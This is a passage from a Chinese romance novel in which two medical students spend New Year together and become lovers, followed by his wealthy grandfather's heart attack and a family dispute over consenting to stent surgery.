她似乎永远可以轻而易举地戳中他心间某一处柔软的所在。 “谢谢。”沈归时轻声说。他没去切水果,而是坐到了餐桌旁,成全了这一份新年的仪式感。 江明月边吃边问:“你过年不回家,你家里不反对?” 沈归时解释:“实习忙,距离也远,他们都能理解。” “远?” 江明月记得沈归时在海城一个偏远的郊区长大,虽然距离确实不近,但毕竟没出市,也不算很远吧…… 沈归时放下碗筷,正色道:“师姐,一直没跟你提过我的家庭。” 他知道江明月对他的家庭状况有误解。他并不想对江明月有所隐瞒,所以一直在找机会坦白。平时两人谈天说地,什么都聊,就是没谈论过各自的家庭,沈归时便始终找不到合适的契机,切入这个话题。 既然现在聊到这儿了,沈归时决定和盘托出。 虽然下定决心要坦白了,但沈归时还是想找个合适的切入点,让江明月在听感上舒适一些,心理上也更能接受一些。 他凝神想了片刻,看到桌上的酒,打算拿沈元姝当个引子。 江明月瞧见他眉宇间的纠结,心知他有许多顾虑,忍不住想安慰他。 “你别担心,我今天……” “其实送这个酒的人就是……” 两人几乎同时开口,说到一半又止住。 沈归时道:“你先说吧。” 江明月便接着刚刚的话往下说:“我今天探了探我爸妈的口风,他们完全不在乎我未来老公的家庭条件。”她温柔且坚定地看着他,“所以你不用担心你的家境会影响我们之间的关系。我爸妈还让我不要找太有钱的,找你这样的普通人就行了,他们说那些豪门出身的反而不好,家里是非多。” 其实江明月隐隐觉得她爸当时说的就是林逸。她也只认识林逸这一个豪门贵公子,很难不对号入座。 “好了,我说完了。你刚刚要说什么的?”江明月回忆了一下,笑吟吟地问道,“送这个酒的人怎么了?” “没什么。” 江明月发现沈归时垂下了眼睛:“嗯?” 沈归时开始圆话:“送这个酒的人……对你挺好的,这是俄罗斯的国酒,跟国内的茅台属于同一个级别。” 江明月原本摆酒上桌只是为了装饰,听了这话倒想尝尝看了。 她找来杯子倒酒,浅抿了一口,皱着眉说:“不好喝,像在喝乙醇。” 江明月经常拿酒精棉球擦自己的办公桌。这个酒就和酒精棉球一个味道。 沈归时说:“不好喝就不喝了。” 江明月已经倒满了一杯,不想浪费。她去冰箱里拿了瓶橙汁,兑酒一起喝。 这样一来,口感顿时好了很多。有橙汁的香气,也有冰镇酒饮的清爽感。 “你少喝点。”沈归时拿了只干净的小碗,给江明月盛了半碗小圆子,她爱吃这种糯米粉制成的东西,“伏特加是蒸馏酒,度数很高的。” 江明月自我体验良好,又不紧不慢地喝了几口,给出品鉴意见:“我觉得还行啊,不辣嗓子,加橙汁真的很好喝,口感很顺。” 而且新年喝酒,长长久久,她觉得寓意很好。 一顿饭吃完,江明月神色如常,毫不上头,意识特别清醒地回自己房间洗澡。 区区烈酒,不过如此- 二十分钟后,江明月从淋浴间出来,不甚满意地看了眼身上的长袖长裤睡衣套装,走去隔壁衣帽间,拉开衣橱。 她有收集睡衣的癖好。海城名邸这边只有一小部分,更多款式都放在家里了。虽然只有一小部分,但也占满了一面衣橱,涵盖了各式各样的风格和材质。 她实在挑剔,仅用一根食指拨动衣架,一件件地看过去,最终选定一条纯黑色的吊带睡裙。睡裙是桑蚕丝面料,长度及膝。触手光滑细腻,整体设计简约,唯有珍珠串成的肩带勾勒出几分与众不同的风韵。 江明月换好睡裙,又挑了件丝绒睡袍。同样是纯黑色,哑光质地,袖长大约到小臂中间,袖口有一圈蓬松轻盈的鸵鸟毛。内衬也是桑蚕丝面料,印着品牌logo暗纹。 她对着镜子系上腰带,睡袍比里面的裙子略长一些,下摆的弧度优美,长度堪堪到小腿。 江明月走出主卧,敲响了沈归时的房门。 “砰砰砰。” 江明月有点分不清是敲门声还是自己的心跳声。 已经将近凌晨三点了。沈归时正准备睡,听见敲门声起身去开门。 房间里没有开灯。进门处的小夜灯感应到有人走动,自动散出柔和的暖光。 微弱的光线下,江明月眨了两下眼睛,十分乖巧地望过来:“要不要一起睡觉?” 第44章 有始有终 冒犯 空气安静了那么几秒。 墙角的小夜灯只能照亮一小片区域, 沈归时的面庞隐于沉沉的昏暗。江明月眼眸轻抬,发觉他下颔的线条勾出了一个模糊而柔暖的轮廓。 她看不清他的神情,只能听见他清淡而平静的嗓音:“师姐, 你喝多了, 快回去睡觉。” “好好好,睡睡睡。” 江明月连声应承, 步子迈开,往房间里走。 沈归时当即拦住她, 两手扶着她的肩,帮她转了个身, 把她往外推,“你回你自己房间睡。” 江明月扭头问他:“为什么?” “你喝醉了。” “我没醉。” 沈归时配合道:“行, 你没醉,快回去休息。” 江明月气急败坏:“你敷衍我?你是不是在敷衍我!” 沈归时:“……” 他暂停赶人的动作, 低头耐心解释:“没有敷衍你。但你真的喝醉了,40度的伏特加, 你喝了一大杯。” “我真的没醉!”江明月稍许提高了音量,一片幽暗中,她的眼眸透出诚恳的光, “我可以证明!” 沈归时问:“你怎么证明?” 江明月想了想,说:“我能倒背圆周率。” 沈归时一贯镇定的神色中露出了罕见的惊愕:“你能……什么?” 江明月口齿清晰:“倒背圆周率。” 还说没醉! 沈归时好笑又无奈。 很难想像, 这是江明月——一个曾经靠数学竞赛保送海大的人,会说出来的话。 “你是不是不信?我现在就背。”江明月停顿两秒,又是字正腔圆的三个字,“率周圆。” 沈归时沉默。 倒背了,确实倒背了。 “信了没有?” “……嗯。” “我已经证明了,所以我没醉, 所以你不能以我喝醉了为由赶我走,所以我们今天一起睡。” 沈归时轻轻拧眉,听着这一串“所以”。 说她醉了吧,她逻辑又特别清晰。说她没醉吧,她能倒背圆周率。 她可能醉得并不彻底,但也算不上清醒。 沈归时继续将她往外推,像在哄骗小朋友:“好了好了,不管醉没醉,都回自己房间睡觉好不好?” 江明月差点被推出房门,好在她及时扒住了门框:“等等!我还有话要说!” “你说。” 江明月压低声音,仿佛在讲述一个秘密:“我今天穿了超好看的睡裙。你还没看到。” 在沈归时怔愣的瞬间,江明月抬手按开了墙上的开关。 灯亮了。 客卧的灯具选用了一款造型简约的吸顶灯,色温中等,自然明亮。江明月不适应这突如其来的光亮,眼眸本能地眨了几下,再抬眸时,便与沈归时沉静的目光相撞。 她很少穿黑色。但黑色很衬她。 这是沈归时的第一个念头。 睡袍的领子是大方柔美的青果领,领口的肌肤光洁细腻,两段白皙藕臂从袖口那圈丰盈纤长的鸵鸟毛里伸了出来。平心而论,露肤度并不高,但玉肌黑袍对比分明,映衬出一种难以描摹的冷艳。 他目不转睛。 江明月抓着腰带的一端,往沈归时手里塞,像是催促,也像娇气的求助:“你帮我解开嘛。” 沈归时不确定睡袍之下有没有衣服了,他不肯答应:“不行……师姐,我怕你酒醒了后悔。” 江明月见他没动作,便自行拆开腰带,干脆利索地脱掉外袍,往地上一扔。 里面那身睡裙十分美好地呈现了出来。 睡裙偏紧身,面料略带弹力。沈归时一眼扫过去,能看清许多起伏有致的轮廓。更何况领口开得很低,饱满动人的曲线已经有一部分呈露在外,如雪似酥。 沈归时轻轻屏息,俯身捡起地上的睡袍,重新披到江明月的身上。 江明月难以置信:“不喜欢吗?” 怎么可能不喜欢。 沈归时声线微微低哑:“喜欢的。但是师姐,我不想冒犯你——” “不想?你为什么不想?”江明月凝神想了想,得出结论,“你不爱我了。” 沈归时否认:“爱不是靠这个证明的。” 江明月眼波横他:“爱不是靠这个证明,靠什么证明?光靠你嘴上说?” 她其实有点委屈,“我都穿这样了你还没反应……” 沈归时真的拿她没办法:“有反应的。” “嗯……嗯?” 江明月呆了呆,醉意绵延的脑子转了一会儿,猛然醒悟,视线不由下移,往他身下瞄。 地暖一直开着没关,房间温度始终维持在20度左右。沈归时穿得并不多,衣料单薄,版型宽松。 江明月还没看仔细,眼睛就被一个温暖干燥的手掌捂住了。她微微不满,抬手圈住了他清瘦的手腕,把那个覆住双眼的手掌拉到唇边。 掌心传来柔软而濡湿的触感,带着她唇瓣的温度。她好像不只在单纯地亲吻,还有细微的舔舐——沈归时分不太清。他只知道,他的心弦轰然颤动。 他强迫自己冷静,抽出手掌,横臂箍住江明月的腰,就着这个姿势,将她整个人提了起来。 他的声线愈轻:“我送你回房间。” 江明月脚底悬空,不由紧张地蹬了蹬腿,发现自己并不能挣脱。 “诶?你力气挺大啊。平时在手术室,你是不是负责搬运病人的?” 沈归时没管她的问话,一路箍着江明月来到她房间。 “到了。”沈归时松开手臂,“早点休息。” 摆脱束缚的江明月第一时间转身,箭步冲到门口,关上房门并反锁。一连串动作看得沈归时怔在原地。 江明月后背抵上房门:“赶我回来可以,但你也得留下。今晚谁也别想踏出这个门!” 大概是觉得自己的语气过于凶狠了,她放软了态度,但听上去依旧高傲、矜持:“我允许你冒犯我。给你一秒钟的考虑时间。” 沈归时:“……” “好,一秒钟过去了,你没有行动,我默认你弃权了。现在轮到我冒犯你了。请你遵守规则,让我亲两口。”江明月略一停顿,“我还要摸摸腹肌。” 沈归时终于忍不住问:“谁定的规则?” 江明月搪塞:“你不要想那么多。这个不重要。” 沈归时:“……” 他跟一个醉酒的人计较这些干什么? 江明月快步走到沈归时面前,将刚刚说的话付诸行动。这人身量太高,他要是不主动低头,她都亲不到他的唇。但她也有她的办法——她踢掉毛绒拖鞋站到床上,比他还高出一截,居高临下,为所欲为。 沈归时必须承认,他根本没有办法拒绝一个热情主动的江明月。他推不开她,或许也不是特别想推开。她缠上来解他睡衣领口的纽扣,他仅仅攥了下她的手,随后便在她细碎的啄吻中沦陷。 夜色沉酽,长空如墨,再如何阖家欢聚的夜晚,此刻也都归于寂静了。沈归时只能听见自己凌乱无序的呼吸声,由轻转重。怀中人的珍珠肩带从肩头滑落,那一圈圆润小巧的珍珠如同天然的臂环,始终挂在臂间,与肤同色。 两个对人体结构熟得不能再熟的医学生,探索彼此的时候却笨拙得要命。江明月想去调整地暖的面板温度,空气似乎很热,热得她心潮滚烫。她默默计算着合适的角度,终于打算尝试。 沈归时将她抱紧,严词拒绝:“不行。” “我可以的!”她真的很有实践精神,“我慢一点,不会弄疼自己的。” “不行。师姐,你喝多了,我不想趁你之危。”低哑的声线萦绕在她的耳畔,“而且,你喝多了,会断片。如果我有幸与你更进一步,那么我希望你能永远记住那一刻。” 而不是,早上醒来就忘了。 “另外,没有……保护措施。这不行,绝对不行。” 江明月好像清醒了一些,理智忽然占据了脑子。 这确实,不太行。 她抿抿唇,叮嘱道:“明天去买。” “……好。” 沈归时察觉到江明月的吐息落在他颈间,轻轻的、温热的,裹着一句问询:“我帮你?” 她声音里还沾着难言的骄纵,“以后你不许再那样诋毁我!” “我什么时候诋毁过你?” “你说我只有写论文的时候能好好收尾。”江明月为自己正名,“明明我做什么都有始有终!” 沈归时唇角弯了弯,又沉哑地应一声:“好。”- 江明月伸手向下,全凭感觉摸索。 她想起大一上基础医学大课时,几个专业的医学生聚在阶梯教室一起听。讲台上的老师抿了口茶,笑着跟大家闲聊:“同学们,如果只能用一个字来形容手术医生的手,你们觉得应该用哪个字?” 众人七嘴八舌。有人说“稳”,有人说“快”。 老师笑眯眯地转身,在黑板上写下一个大大的粉笔字——巧。 老师说:“手术医生的手一定要巧,首先要灵巧,下手的力度要精准。其次要讨巧,不管是拿传统手术刀,还是拿高科技仪器,都没有高下之分,只要能切除病灶,就是趁手的好工具。最后,还要熟能生巧,这就需要你们在今后的学习工作中不断练习了。” 江明月认为她算是有一双巧手,始终在主导节奏、把控力度。听见极轻的喘息声时,她甚至感觉自己在掌控对方。 许久之后,江明月从粗花呢地毯上起来,光着脚去卫生间洗手。沈归时提着她的毛绒拖鞋,半蹲下去帮她穿上。 卫生间没有开灯。熹微的光线透过百叶窗的缝隙照了进来,将卫生间内部空间切割成一道道或明或暗的光影。 江明月有点愣神。 ——天都亮了。 第45章 有完没完 “你行不行啊?” 正月初一。 江明月补了半天觉。醒来一看手机, 许多之前加过微信的病人都发来了新年祝福。她挨个儿回复消息,对方往往还会再向她汇报一下近况,比如怀孕几个月了呀, 指标怎么样呀, 小孩是男是女呀……末了再感谢一番江明月妙手回春。 江明月心情很不错。 确实,每当收到病人真心实意的感谢的时候, 就是她身为医者成就感最高的时候。 父母也发消息来问她怎么一大早人就不见了。她迟疑片刻,解释说有工作要忙。 沈归时悄无声息地推门进来, 看到床上的人醒了才发出声音:“饿不饿?起来吃午饭?” 江明月歪头打量他。 他贴身穿的是纯黑色的打底毛衣,外面是深灰色长款大衣。大衣是她前段时间逛街的时候顺手给他买的, 长度过膝,绵羊毛呢材质, 看着就很暖和。他上身之后有一种清贵的知识分子气质,她很爱看。 这副装束显然是外出刚回来。江明月问:“你出去了?” 她记得后来他们俩是一起上床睡觉的——就在她的房间。只不过她睡得沉, 根本不知道他什么时候起床离开了。 沈归时应一声:“刚出去买了点东西。” “买什么了?” “就是你昨晚让我去买的东西。” 沈归时两手滑进大衣口袋,身体靠墙, 淡色花卉暗纹的墙布衬得他眉目柔和。他意味深长地望过来:“师姐,你还有印象吗?” 江明月愣了愣,点头:“有印象……我这次没断片儿……其实我根本就没喝醉……” “嗯, 你没醉,你还能倒背圆周率。” 江明月:“……” 谁让你提这个了! 她推开身上的盖毯, 起床,坐在床边穿鞋。感觉右边肩膀上有点空落落的,低头一看,才发现右肩的珍珠肩带没了。她想了片刻,很快想起肩带是沈归时昨晚不小心扯断的,一串珍珠登时散了一地, 滚得到处都是。 江明月昨夜意乱情迷什么都顾不上,这会儿才有闲心追究责任人:“沈归时!你赔我衣服!” 沈归时毫无异议:“好,我赔。” 江明月往卫生间方向走,途经床尾的地毯,脚步不禁一顿。 她装修主卧时精挑细选的奶油风粗花呢地毯,此刻沾上了一些明显的水渍。定睛看看,地毯上还有两三粒珍珠,个头小小、莹白光润,仿佛颤巍巍的、下一秒就要洇入地毯的露珠。 江明月有点心疼:“我花六万多买的地毯……” 沈归时说:“这个我也赔。” 江明月还是很客观的:“算了,这个不能全赖你,我也有责任。” 再说了,真让他赔,他一年的博士生补贴都不够赔的。 沈归时扬唇轻笑,转而问:“我还买了芦笋头和娃娃菜,芦笋头可以炒虾仁,娃娃菜就烧汤。你想吃哪个?” “都要。” “好,我去准备,大概二十分钟。” 沈归时步出房门。 江明月在衣帽间挑了身新的家居服。 浅紫色的缎面长裙,舒适亲肤,因为层层交叠的系带都在身后,所以穿起来相当麻烦,不过脱的时候挺方便,直接一扯抽绳,所有系带就都散了。 外面披了件同品牌同色系的桑蚕丝睡袍,腰带顶端缝有一枚真丝堆叠出来的玫瑰花,睡袍下摆弧度起伏,走动时绰约美丽。 午餐吃完。江明月问:“你睡午觉吗?” 沈归时答:“不睡。” 他一向没有睡午觉的习惯,手术室的条件也不允许。神外一台手术,从早上做到晚上,太寻常了。当年卢景主任到医学院授课,第一节课讲的就是神经外科医生必备两样东西——脑力和体力。 没有脑力,就无法在显微镜下精准操作复杂的手术。没有体力,就无法适应如此高强度的手术节奏。 沈归时听完这节课之后,开始了每天早晚去操场慢跑的自律生活,空闲时再加入力量训练。这个习惯一直保持到了现在。 江明月又问:“你真不睡午觉?” 沈归时一下子明白了她的意思:“也可以睡……” “东西买了就要用嘛。”江明月的目光瞥过来,挑衅道,“我看你好像很意外啊,是不是还没做好准备?是心理没准备好还是生理没准备好?你行不行啊?要不要我给你治治?” 不是,刚吃完饭,大中午的,青天白日的,大过年的,你冒出这种要求,换谁谁不意外啊? 沈归时像是笑了一下。 江明月看到他这个笑,就感觉自己挑衅过头了。她想说点什么挽救一下,还没想好哄人的话术,整个人就被拦腰抱起来了。 沈归时走到房间门口,踢开半掩的房门:“行,你给我治治。你想怎么治江医生?我觉得怎么也得先来个全身查体吧?你说呢?” 江明月:“……” 房间里还保持着江明月刚睡醒时的样子,窗帘紧闭,没有亮灯,环境昏暗。 “要不要开灯?” “……不要。” 沈归时轻轻地笑:“我怕你看不清楚,没办法视诊。” 江明月:“……” 沈归时把人放到床边:“你别不说话啊江医生,有什么要求不妨直说,我作为患者依从性很强的,一定言听计从。” 江明月撑不住笑了:“查体就查体,你先躺上去,仰卧屈膝位,便于触诊。” 沈归时垂眸盯她:“江医生,你是不是应该协助病人摆体位?”他将她往床上推,轻轻折她的腿,“或者你先来示范一下?仰卧屈膝位,是这样,对吗?” 江明月无言以对。 某种程度上来说,确实仰卧了,也确实屈膝了。 江明月清醒的时候确实没有醉后那样大胆。她撑着床坐了起来,有些退缩,打算找个托词溜走:“嗯……按照查体要求,我先去洗手消毒……” 沈归时按住她:“别走啊,怎么能让病人离开你的视线呢?” 江明月扫他一眼,咳了声,端起架子:“不走也行,但我觉得你这个病人有点危险。”她半褪睡袍,抽出衣服上的腰带,“我可能需要先把你绑起来,你同意吗?” 沈归时颇有兴致地点头:“当然同意,我都听医生的。” 他主动把一对手腕伸出去,由着她用腰带缠了两圈绑紧。 “有这么配合的病人?”江明月顺手打了一个蝴蝶结。 “都说了,我依从性很强的。”沈归时始终微笑,“江医生你人真好,绑人之前还打招呼。” 沈归时的动作受限,江明月自我感觉回到了一个相对安全的区间。她当真按步骤给他查体——触诊,手指不太安分地四处摩挲。 片刻后,她替沈归时解开腕间的腰带。 沈归时转了转手腕:“查完了?” “嗯。”江明月确实玩够了,“不能绑太久,血液会不流通。” 扔在床沿的腰带被沈归时重新拿到手里。他认真夸她:“你是真专业。” “那肯定啊——”江明月话音未落,两个手腕就被抓握到身后,带着体温的腰带缠绕了上去,她有点慌乱,“你!你你!你绑人之前怎么连招呼都不打?” 沈归时自有一套逻辑:“哦,我没你人好。” “可你不是病人吗?你的依从性呢?” “对不起,江医生,经过你刚刚的触诊,我脑子里已经没有依从性了。”沈归时停顿两秒,“只有性。” 江明月:“……” 她的两手背在身后,这个姿势令她被迫挺胸,她眼底有难言的羞愤。 沈归时慢条斯理地拆着那件浅紫色睡裙背后的绑带,像在拆一份美好的礼物。 江明月觉得他这样不紧不慢的动作也挺令人煎熬,忍不住出声:“有个抽绳……扯一下就行……” “真的?我怕扯坏了你又生气。” “没事,这条没昨晚那条贵……呃,我的意思是这条扯坏了不心疼……不对,它那个抽绳就是那么设计的,不会扯坏的……” 江明月把脸埋进枕头。 救命啊!她都在说些什么啊! 最后,沉闷而含糊的一句话从枕头里冒出来:“真扯坏了也不用你掏钱赔。你把你的人赔给我就行。” …… 时间无声无息地流逝。 江明月去淋浴间冲了个澡出来,从衣柜里拿了条新床单,两腿打着哆嗦把床单换了。 沈归时过来帮忙。江明月想起自己刚刚在浴室没站稳,沿着微凉的拼花瓷砖墙往下滑,这人扣着她的手,将她扶好,然后跟她说了一句相当耳熟的话—— “你行不行啊?” 江明月非常后悔自己一时嘴炮挑衅他。 外面的天黑了,沉沉的一片。今夜无风。都市的夜晚灯火万家,光影幢幢。 江明月晚饭也不想吃,只想倒头睡觉。刚刚生理眼泪流了满脸,现在眼眶一圈都有点发酸。她拆了个蒸汽眼罩敷眼睛。没一会儿,便感觉有柔软的吻落在了她的颈侧。 “沈归时你有完没完!”江明月往边上躲,嗓子都哑了,“不来了,家里没有新床单换了。” “好。”沈归时无声地笑。 她有洁癖,他知道。 江明月打了个哈欠:“今天到此为止,我要休息了,明天还要上班。你年轻,你体能好,我认输。” “我们应该算是同龄人吧。”沈归时语调微扬,“漂亮姐姐?” 江明月:“……” 沈归时说:“你要多锻炼。以后多跟我一起运动。” 江明月将蒸汽眼罩拉了上去,露出一双眼眸望向他。 沈归时补充:“我是说跑步那种运动。” 江明月气得踹他,欲盖弥彰般地辩解:“我知道!” 第46章 偷情 确实是个好孩子 过年免不了要走亲戚。 江明月这几天下了班都回自己家, 陪父母招待来客,或者一家人一起出去串门。偶尔去海城名邸,也只是睡个觉就走。 有时沈归时会发消息问她:“今晚还过来吗?” 她会告诉他自己大概几点到几点有空, 让他先洗澡, 等她来。 江明月很难形容目前这种状况。 感觉就像她在外面偷偷摸摸养了个情人,时不时地去偷个情。 这种状况在正月初六结束。 初六那天, 沈老爷子突发急性胸痛,家庭医生给他拉了心电图, 说是急性心肌梗死。当即联系救护车去了北城最好的胸痛中心。 梁书琴得知消息,第一时间给沈归时打电话:“你爷爷可能要不行了, 你快点回来。你说你,大过年的也不回家, 真不懂事,现在这个情况, 说不定马上就要分家产了,你人在场和不在场, 结果能一样吗?” 沈归时道:“妈,急性心肌梗死只要救治及时,还是能活下来的, 你别说那些有的没的。” 梁书琴说:“我知道,我也就跟你说说, 外人面前我是不会说的。” 话是这么说,但沈归时深知急性心梗的凶险,立刻向医院和学校说明情况,请了一周假。 情况紧急,梁书琴给他安排了一架飞北城的专机。不用值机,专车直接送到了机坪, 两个小时直飞北城。 起飞之前,沈归时给江明月打了电话,说自己爷爷病危,他要去一趟北城。 江明月问具体病情,沈归时也不是很清楚。梁书琴在电话里也说不明白,一切要等他去了才知道。江明月安慰他不要着急,路上小心。 落地北城之后,候在机坪的专车载着沈归时直奔医院。 到了医院才知道,医生已经给了两个选择,溶栓或者手术。沈老爷子选择了更为保守的溶栓,但是效果并不好,只化开了十分之一的血栓,剩下90%的血管还堵着。医生建议手术治疗。 沈老爷子称身体已经没那么难受了,主观上不想手术。沈归时找主管医生交流了一下病情,随后便开始劝说沈老爷子接受手术。 “爷爷,这个手术是微创的,不会像传统外科手术那样开大刀。”沈归时来的路上已经自行了解了目前心肌梗死的基本治疗方案,他尽量说得通俗一些,“如果您接受手术,医生会在您手腕上开一个小口,然后通过血管把支架送到心脏那里去,过程不长,而且给麻药的,不会很痛苦。” 医院为沈老爷子腾出了一间单独的监护室。监护室的空间不小,但沈家人多,子女和孙辈,能到的都到了,几乎塞满了半个屋子。大家听沈归时这么说完,没有一个人搭腔,气氛诡异而沉闷。 梁书琴率先打破沉默,笑着说:“爸,归时就是想让您尽快康复,才跟您说这些。至于手术不手术,还得您自己决定,我们做晚辈的,绝不干涉您。” 梁书琴说完,另外几位较年长的纷纷附和:“是啊,是啊,爸,手术都有风险,还是保守治疗更好。” 梁书琴悄无声息地横了一眼沈归时,朝监护室门口抬了抬下巴。 沈归时回过味来,跟着梁书琴来到监护室外。 两人走到医院走廊尽头,梁书琴见四周没人,才轻声数落道:“你看不出你爷爷不想手术吗?你上去劝他干什么?” 沈归时沉静道:“就是因为他不想手术,所以才需要劝他做手术。现在手术是最好的选择。” 梁书琴做了甲片的长指甲点了点他,指甲油是亮面的鲜红色,饱含警示的意味:“要你劝?万一手术出了什么意外怎么办?到时候谁来担这个责任?呵,到那时你二叔三叔肯定会把责任都推到你身上,赖你劝老爷子去做手术,分遗产的时候,都能借这个由头少分你一份。” 沈归时沉默。 梁书琴又道:“现在你大哥和妹妹都在国外,还在赶回来的路上,你给我消停点,别劝这劝那的,你看你二叔三叔家的那几个小孩,从来不多嘴,你好好学学。” 沈归时忽然想起江明月前几天跟他说,豪门是非多。 还真是。 平时大家其乐融融,一旦遇到什么事,便会为了利益彼此忌惮防备。 梁书琴把话说清楚了,转身往病房走。 沈归时原地待了一会儿,大步追上去,语速飞快:“如果不放支架,再次心梗的风险很大,到时候情况会比现在更危险。医生也是建议手术的,既然来医院了,就应该相信医生的判断。” 梁书琴回头,秀眉紧蹙:“你学医学傻了是吧?我刚刚跟你说那么多,你是不是没听懂?” 沈归时还没来得及回答,旁边一名恰好路过的女孩儿停下脚步,好奇地问他们:“你家也是心梗啊?怎么样了现在?” 梁书琴见有外人来,便不再多说,她轻飘飘地瞥了眼沈归时,隐含告诫。 沈归时没有跟别人交流病情的心情,只是很轻淡地“嗯”了声。也不知是在回答梁书琴,还是在回答那个女孩儿。 那女孩儿原本望向了梁书琴,听见沈归时应声才转头看他。 这一看就有些挪不开眼。 面前这个男人就像从另一个画质里走出来的,轮廓立体,五官精致,肤色冷白如瓷。似乎心情不太好,薄唇轻轻抿着,很有孤傲不群的清冷气质。 女孩儿没由来的紧张,磕磕巴巴地说道:“我爸爸也是心梗,好在抢救过来了。这里大夫的技术都挺好的。” 就在这时,监护室那边忽然传来一阵惊呼。沈归时比梁书琴的反应快多了,几乎在发生骚动的下一秒,他便冲了过去。 沈老爷子突然之间意识全无,监护器报警室颤。 医生当即赶过来电击除颤。几分钟后,心跳恢复。 这么冷的天,医生的脑门儿上全是汗。 待沈老爷子情况稳定后,医生严肃道:“现在血管不通,必须要上支架,否则随时有再次室颤的可能,猝死的概率很大。” 众人面面相觑。 医生又问:“这里有手术通知书,你们谁来签个字?” 没有人动。 这种场面在医院并不少见——看上去一家子人都到场了,齐齐整整的,其实一个敢做主的都没有,都怕出了事担责任。 医生见过不怪道:“如果你们家属坚持不手术,麻烦在这边签名栏写‘拒绝’两个字。” “做手术。”沈归时越众而出,“我来签。” 梁书琴拚命朝沈归时使眼色,沈归时熟视无睹,唰唰在手术通知书上签下了自己的名字。 他刚收笔,沈二叔就开始阴阳怪气:“到底是学医的,肯定比我们懂。归时啊,这种生死关头,我们都不知道怎么办好了,还得靠你拿主意。” 沈家长房和二房一向不对付。梁书琴气得头发都要竖起来了。既气沈二叔说的话,又气沈归时自作主张。 确定要手术了,沈归时反倒镇定下来了,淡色道:“二叔不用急,以后你躺在医院的时候,尽管联系我,我肯定也好好给你拿个主意。” 沈二叔猛然指向沈归时,腿也往那边走了几步:“你!” 那架势像是要冲过去跟沈归时干架。好在被旁边人拉住了。 谁也没有注意到,他们身后的病床上,渐渐苏醒的沈老爷子半睁着眼,无声地望着这一幕- 介入手术并非全麻。沈老爷子全程都是清醒的。 支架放进对应血管的那一瞬间,沈老爷子轻轻“哎”了一声,道:“气儿顺了。” 旁边操作的医生笑道:“那肯定啊,血管通了啊。您现在感觉怎么样?” 沈老爷子体会了一会儿,慢慢道:“胸口一点也不疼了,也不闷了。” “那就对了!”手术基本结束,医生也放松了不少,开始闲聊起来,“之前咱们医院也收过一个心梗的病人,病程和您差不多,当时那人也坚持不手术,后来反覆室颤,心电图都变直线了,我们这儿四个年轻力壮的小伙子轮流上去做人工心肺复苏,都没把人按回来。” 沈老爷子明白医生的意思:“这么说,我今天差点儿也交代在这儿了?” “哪儿能啊?”医生对眼前这位年迈老人的身份心知肚明,自然拣好话说,“他没您有福气,您有个好孙子!当机立断就帮您把字签了!” 沈老爷子望着天花板。那上面灯光如昼,照得他心神敞亮。 半晌,他笑着说:“那确实是个好孩子。”- 已是深夜。 沈老爷子情况稳定。沈家众人陆陆续续地离开了。 梁书琴悬着的心算是放下了,也准备回家,但她没让沈归时跟她一起走,而是让沈归时留下来陪陪老爷子,叮嘱他趁这个机会“好好表现”。 江明月打电话来关心:“你爷爷怎么样了?” 沈归时走去外面走廊:“下午做了支架,现在还在CCU(冠心病重症监护室),不过问题不大,医生说已经脱离危险了,接下来密切观察就行。” “那就好。”江明月好奇,“对了,你爷爷怎么去北城了?” 沈归时说:“他……这些年一直住在北城。” 江明月的好奇心止步于此,没去深究沈归时一个土生土长的海城人,为何会有一个长居北城的长辈。 “你晚上住哪儿?酒店吗?” “我陪床,晚上睡医院。” “那你快去休息。医院早上很吵,肯定睡不好,你晚上早点睡,多休息一会儿。” 沈归时轻轻地笑:“遵命。” 第47章 门第高 认识一下 挂了电话, 沈归时往监护室方向走,迎面遇到一个女孩儿。 女孩儿大概20岁出头,看见沈归时顿时眼睛一亮, 快走两步, 音色清脆:“又见面了!” 走廊上只有他们两人。 沈归时借此判断出这人是在跟自己说话。他略微疑惑:“我们见过?” 一句话差点让女孩儿呆住。 “我们下午才见过的!那个……我爸也是心梗,幸好救回来了!” 提到病情, 沈归时有了些印象。他礼貌地点了下头,继续往前走。 女孩儿小跑两步追了上去:“听说手术以后需要终生服药, 你说有这个必要吗?” 沈归时说:“你问医生。” “你不就是学医的吗?” 沈归时侧首看她。 很寻常的一眼,女孩儿却有了无所遁形的感觉。她有些慌乱地解释:“下午……那个阿姨说你是学医的……我恰好听见了……” 虽然当时梁书琴说的是——你学医学傻了是吧。 女孩儿见沈归时并没有和自己交谈的意思, 又主动抛出无数个问题:“你还在上学吗?你在哪个学校?我也在北城读书,在音乐学院学钢琴, 方便认识一下吗?” “不方便。” 直接略过了前两个问题,只回答了最后一个问题。脚下步履未停。 这人性子真冷啊……女孩儿不折不挠地跟上去, 绞尽脑汁地找话题:“我觉得你衣品挺不错的,很适合做穿搭博主哎。” 沈归时今天这一身是江明月之前帮他搭配的。江明月自己的穿衣风格随意得很, 却非常热衷于装扮沈归时。她笑称沈归时就算不学医,凭这么标准的衣架子身材,也能混口饭吃。 沈归时一向听任她的安排, 她让穿什么,他就穿什么, 很享受穿搭完成之后江明月的目光在自己身上流连的感觉。 想到江明月,沈归时的神色都柔和了许多。 大约是这样一份柔和给了女孩儿勇气,她再接再厉道:“你平时都在哪儿买衣服?能不能加个微信,把店铺链接发给我?” “不能。” 依旧是一句相当简短的拒绝。 女孩儿毫不懈气:“就当交个朋友嘛。我叫秦菲,你叫什……” “别跟着我了。”沈归时已经走到监护室门口了,他的手搭在门把手上, 转头盯了秦菲一眼,“我的家人需要休息。你,有点吵。” 秦菲闭上了嘴。 她望着年轻俊逸的男人推开监护室的门走了进去,又转身关上了门。 透过房门的玻璃视窗,可以看到一名值班医生正守在病床前,记录着仪器上的数据。 秦菲一直等在监护室门口。 过了一会儿,值班医生开门出来,她立马亦步亦趋地跟上:“王叔叔,这里面住的是谁啊?看你好像挺上心的。” 王医生是秦菲父亲的知交好友。 这次秦父突发心梗,秦菲都吓傻了,哭着给王医生打电话。王医生隔空指挥她叫救护车,让她赶紧把家里的阿司匹林找出来给秦父口服。救护车送来的时候,王医生就在医院门口等,给了秦父最迅速也最妥善的急救。 面对秦菲,王医生像在看自家晚辈,没什么不能说的。他笑道:“瞧你这话说的,明明我对所有病人都很上心。不过那里头确实住了位大人物。” 秦菲的呼吸都紧促了几分:“谁啊?” “沈敬。” “是谁啊?” “沈氏珠宝的集团董事长,听说他近几年已经隐退了,集团事务都交给了他的大孙子全权处理。” 秦菲轻轻吸了一口气:“啊?就是病房里那个年轻人?” “不是那位,那位是二少爷。”这还是王医生和沈老爷子交谈时偶然得知的。 秦菲缓缓点头。 名门望族。 难怪那么冷淡,仿佛要拒人于千里之外- 